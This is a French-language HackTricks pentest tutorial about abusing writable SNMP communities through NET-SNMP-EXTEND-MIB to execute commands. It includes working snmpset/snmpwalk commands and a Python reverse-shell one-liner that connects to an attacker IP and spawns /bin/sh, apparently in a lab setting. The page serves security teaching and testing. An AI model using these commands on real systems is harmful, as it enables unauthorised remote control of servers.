mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
100 lines
6.8 KiB
Markdown
100 lines
6.8 KiB
Markdown
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
Ce post a été copié depuis [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
|
|
|
SNMP est parfois négligé par l'administrateur de l'appareil ou du serveur où il est laissé dans une configuration par défaut. La communauté SNMP avec des permissions d'écriture (**rwcommunity**) sur le système d'exploitation Linux peut être utilisée de manière abusive pour permettre à l'attaquant d'exécuter une commande sur le serveur.
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508)
|
|
|
|
# **Extension des services**
|
|
|
|
Bien que vous ne puissiez pas modifier les entrées existantes qui ont été configurées dans **snmpd.conf**, il est possible d'ajouter des commandes supplémentaires via SNMP, car le paramètre de permission "MAX-ACCESS" dans la définition MIB est défini sur "**read-create**".
|
|
|
|
L'ajout d'une nouvelle commande fonctionne essentiellement en ajoutant une ligne supplémentaire à la table "**nsExtendObjects**".
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
|
'nsExtendStatus."evilcommand"' = createAndGo \
|
|
'nsExtendCommand."evilcommand"' = /bin/echo \
|
|
'nsExtendArgs."evilcommand"' = 'hello world'
|
|
```
|
|
Injecter une commande à exécuter sur le service SNMP. **NET-SNMP-EXTEND-MIB** exige que vous fournissiez toujours le chemin absolu vers l'exécutable. Le binaire/script appelé doit également exister et être exécutable.
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916)
|
|
|
|
Exécuter la commande que nous avons injectée dans le SNMP en l'énumérant à l'aide de snmpwalk.
|
|
```bash
|
|
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
|
```
|
|
Affichage de la commande /bin/echo.
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569)
|
|
|
|
La commande sera exécutée lorsqu'elle sera lue. **run-on-read\(\)**
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612)
|
|
|
|
La commande **/bin/echo "hello rio is here"** a été exécutée pendant notre lecture snmpwalk
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653)
|
|
|
|
# **Obtention du Shell** **à partir de Net-SNMP Extend**
|
|
|
|
Dans cette section, je voudrais discuter de la façon d'obtenir un shell de serveur pour contrôler le serveur.
|
|
|
|
Vous pouvez utiliser un script python développé par **mxrch** qui peut être téléchargé depuis [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
|
|
|
|
Vous pouvez installer le prérequis pour exécuter ceci:
|
|
```bash
|
|
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
|
git clone https://github.com/mxrch/snmp-shell
|
|
cd snmp-shell
|
|
sudo python3 -m pip install -r requirements.txt
|
|
```
|
|
**Création d'un shell inversé**
|
|
|
|
Vous pouvez également créer manuellement un shell inversé en injectant la commande ci-dessous dans le SNMP.
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
|
```
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)
|
|
|
|
Exécutez la commande snmpwalk pour déclencher l'exécution de la commande.
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)
|
|
|
|
Notre netcat reçoit la connexion de shell inversé de la victime qui nous permet de prendre le contrôle de la machine victime.
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|